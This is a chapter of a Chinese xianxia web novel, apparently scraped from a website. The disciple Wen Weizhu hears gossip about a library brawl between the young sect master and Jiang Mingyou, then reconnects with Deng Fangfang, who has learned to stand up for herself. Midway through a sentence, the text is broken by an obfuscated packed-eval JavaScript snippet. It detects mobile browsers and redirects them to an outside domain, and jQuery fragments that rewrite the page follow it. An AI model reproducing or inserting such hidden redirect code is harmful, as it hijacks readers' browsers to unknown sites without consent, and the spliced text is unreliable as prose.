“什么叫这件事与你无关?”
于文峥向前两步,想找温微竹要个答案,却发现温微竹往后退了退。
他停下脚步,一时之间仿若没认识过眼前的人。
那个温婉认真,言笑嫣然的温师妹仿若一个泡影,在他眼前渐次破碎。
“我只是一个普通的杂役弟子。”温微竹抬眸对上于文峥失望的目光,“我不想成为蒋明祐师兄与少宗主争强斗胜的棋子。”
愠怒爬上于文峥的脸庞,但在目光触及温微竹脖颈上的淤青时,他的瞳孔颤了颤,最终他什么也没说,转身离去。
温微竹不自然摸了摸脖子,她看不到,但疼痛蔓延,一直蔓延到全身。
她想那伤痕必定触目惊心。
从各处聚集而来的人越来越多,无人在意温微竹,温微竹亦未抬头看其他人一眼。
温微竹独自回了云萃峰。
灰乌鸦最近被喂胖了不少,连院子都不出了,天天就在院子里等温微竹的投喂。
原先光秃秃只剩一株植物的院子,现在种满了各种各样的灵植,大部分是培植的幼苗,因为灵深峰现在处于规划重建期,空间不够,温微竹就把培植幼苗的地挪到了这里。
最开始温微竹抱着奢望留下的那株植物最终证明只是一颗普通的杂草。
在温微竹准备在院子里培植幼苗的时候,直接拔掉了。
灰乌鸦在看见温微竹的第一眼就朝她开心地飞扑过去,见温微竹没理它,嘎嘎叫两声,就又飞回自己的窝里去了。
温微竹来到无息仙尊的房间,将储物袋里的灵石尽数倒在床上。
堆成小山的上品灵石闪着耀眼的灵光。
多少普通人一辈子也得不到这些。
灵石的光芒照耀着无息仙尊的脸庞。
眉骨突出,鼻梁高挺,下颌的弧度瘦削而冷漠。
即使如今无息仙尊已经不如最初般骨瘦如柴,但依旧比常人瘦削。
血肉长出,皮肤却透着病态的苍白。
温微竹知道,那是因为导致无息仙尊昏迷的根源没有解决。
而那个根源才是关键。
下半夜的时候,温微竹被噩梦惊醒便再也没有睡着。
她干脆起身,坐在院子里修炼。
盛夏的喧嚣不知何时已经接近尾声,温微竹记得她刚来内门的时候,还是夏季正热的时候。
转眼间,时光已经飞速流逝。
最近吃了不少灵物,温微竹体内灵力丰富,对修炼也有些微的帮助。
修炼了几个时辰,温微竹感觉自己的境界隐隐有些松动。
虽然只是练气期,但至少也是有进步,微末修为也是修为。
日头渐起,温微竹起身,再次走入灵物百科课堂。
课堂内人群熙熙攘攘,却不复昨日的繁华。
温微竹一向安静,从不参与别的弟子之间的谈话。
而此刻,翻着书的她不想听也不得不听周边几个人围在一起讨论的事情。
“少宗主今日肯定不可能来上课了,我听说少宗主被宗主罚关禁闭了!”
“真的假的?我怎么听说是蒋师兄被关禁闭了?”
“少宗主和蒋师兄都关禁闭了!”有一个插入的女弟子带来可靠消息,“你们不知道昨日藏书阁发生的事情吗?”
明显不清楚前因后果的另外几个女弟子急忙凑过去问:“怎么回事?发生了什么?”
“昨日在藏书阁少宗主与蒋师兄大打出手,毁了藏书阁好多的书架和书。宗主和管理藏书阁的墨言长老大发雷霆,将少宗主和蒋师兄都罚了半个月的禁闭!”
“少宗主与蒋师兄怎么在藏书阁打起来了?”一群人双眼放光,嗷嗷待哺。
“我听最先赶到现场的弟子说,好像是为了一个女弟子,但是长什么样没看清。不过少宗主与蒋师兄都不承认,也不说为什么打架,横竖就是看对方不顺眼,所以就打起来了。”
“乱传的吧。少宗主和蒋师兄不合很多年了,常常因为一点小事就打起来,也就这两年打得少了。”
“对啊,少宗主不近女色,蒋师兄万花丛中过片叶不沾身,他们怎么都不可能因为一个女弟子打起来。我不信。”
“我不信。”
“我也不信。”
……
“你们不信也没办法,反正既然有这样的传言,总归不会空穴来风,上一次在中堂广场,当时不就有一个女弟子嘛。”
“不会是真的吧?”
众人将信将疑。
课堂马上就要开始了,少宗主还没出现。
显然验证了少宗主被关禁闭的传言。
温微竹关上书,在课堂开始之时,从后面静静离开了课堂。
走出课堂,却发现外面不知何时下起了雨。
整个夏天,都没有一点雨滴落下。
这场突如其来的雨,就像是在宣告酷热夏季的戛然而止。
温微竹没有带伞,站在屋檐下,望着雨帘发呆。
少宗主没有出现在课堂,与少宗主形影不离的于文峥也没有出现。
八卦与谣言,在口口相传中,总是变得格外可怖。
捕风捉影的东西,只要有一个人抓住了蛛丝马迹,那么,原本隐秘甚至是不存在的事实,都极有可能变成板上钉钉的事情。
她的存在,暴露在众人面前,也只是时间问题。
温微竹伸出手,任凭冰冷的雨点打在手掌上。
她现在已经不知道,当初靠近少宗主到底是对是错。
“师姐。”
一声呼唤打断了温微竹的沉思。
温微竹侧头一看,撑着伞的少女静静地站在雨幕之中。
相比上一次的愤懑,这一次要安静平和得多。
哪怕这一次,少女的脸上还明显带着淤青。
多久没见来着?
上一次见面似乎已经是很久之前,可仔细一回想,好像也就是前不久。
是这段日子过得太安逸了吧?
忽然觉得时间好像过了很久。
“有什么事吗?”温微竹望着雨帘问。
少女收了伞,与温微竹并肩站着屋檐下。
四周安静得只有雨水滴落的声音,偶尔从课堂之中传来弟子们的起哄声。
“我是特意来找你的。”少女说。
温微竹连头都没抬,敷衍的“嗯”了一声。
“师姐不用担心我来纠缠你。”少女手杵着伞,带着伤痕的脸上却带着轻松的笑意。
温微竹不由侧头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279915|182507||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看她。
“我来只是想问,师姐,可知我的名字?”少女将淋湿的碎发捋了捋,转身殷切地看向温微竹。
温微竹瞟了对方一眼就收回视线,语气与上一次一样漠然,“我知不知道你的名字有什么所谓?”
少女轻笑了一声,“师姐,你不用对我这么冷漠,我不会再对你怨怼愤恨,你说得对,没有谁有义务拯救我,我应该自己拯救自己。”
温微竹不由再次看向少女。
她隐约感觉少女变了,似乎并不是她的错觉。
一段时间没见,少女真的成长了不少。
见温微竹终于愿意正眼看自己,少女露出友善的微笑,“师姐,我们重新认识一遍吧,我叫邓芳芳,你叫什么名字?”
“温微竹。”温微竹简短回答。
“可以聊聊吗?”邓芳芳问。
两人打着伞,找了个安静的小亭子坐着。
亭子外的雨淅淅沥沥,亭内两人安静望着彼此。
邓芳芳指指自己脸上的淤青,笑着问:“温师姐,对我脸上的伤不感兴趣吗?以前我脸上可从来没带过伤。”
“不感兴趣。”
比起邓芳芳带着伤口招摇过市,温微竹出门前就将脖颈上的伤口用药遮住了,完全看不出来。
温微竹不感兴趣但也不妨碍邓芳芳想要分享的心。
“伤很疼,但我一点也不难过。”
邓芳芳戳了一下伤口,疼得嘶了一声,却还很开心,仿佛那不是伤口,而是勋章。
“你知道这伤口怎么来的吗?”
邓芳芳絮絮叨叨说着,哪怕温微竹一声不吭,她也说得兴致盎然。
“我跟陈典说,你会罩着我,如果他敢欺负我,你会帮我出头。”
邓芳芳模仿着那时的情况,温微竹凝眸看向站在自己面前少女。
比起之前等待救赎的可悲模样,此刻的少女,充满了活力。
温微竹的嘴角不由微微翘起。
一个人只有自己找到生存之道,才能看见未来的光。
邓芳芳还在继续说:“结果陈典说,你是谁啊,她会罩着你,她知道你名吗?就在这里空口白说。”
邓芳芳歪头做思考状。
“我一想,还真是,我们还没互通姓名,这招用得也太漏洞百出了。”
“就如你所看见的,最终被陈典狠狠教训了一通。”
邓芳芳在座位上坐下。
“但我不难过,也不觉得人生无望,因为我发现我可以尝试自己救自己,虽然失败了,但那是因为没经验,等有经验了,我总会成功的。”
温微竹静静看着眼前焕发了新的生命力的少女,仿佛看到了熟悉的影子。
邓芳芳认认真真看向温微竹,“温师姐,我以前从来没想过自己可以救自己,连这种想法都没有过。”
“上次你跟我说只有自己才能救自己之后,我就想,我那么弱,怎么可能自己救自己呢?你不过是运气好,所以站着说话不腰疼。”
“可日子一天一天过去,真难熬啊。就想着,要么死了算了,反正也不可能等到人来救我。可我转念又想啊,反正都要死,不如拼一把呢,直接死也是死,自救不成也是死。”
“结果发现,也没那么难。”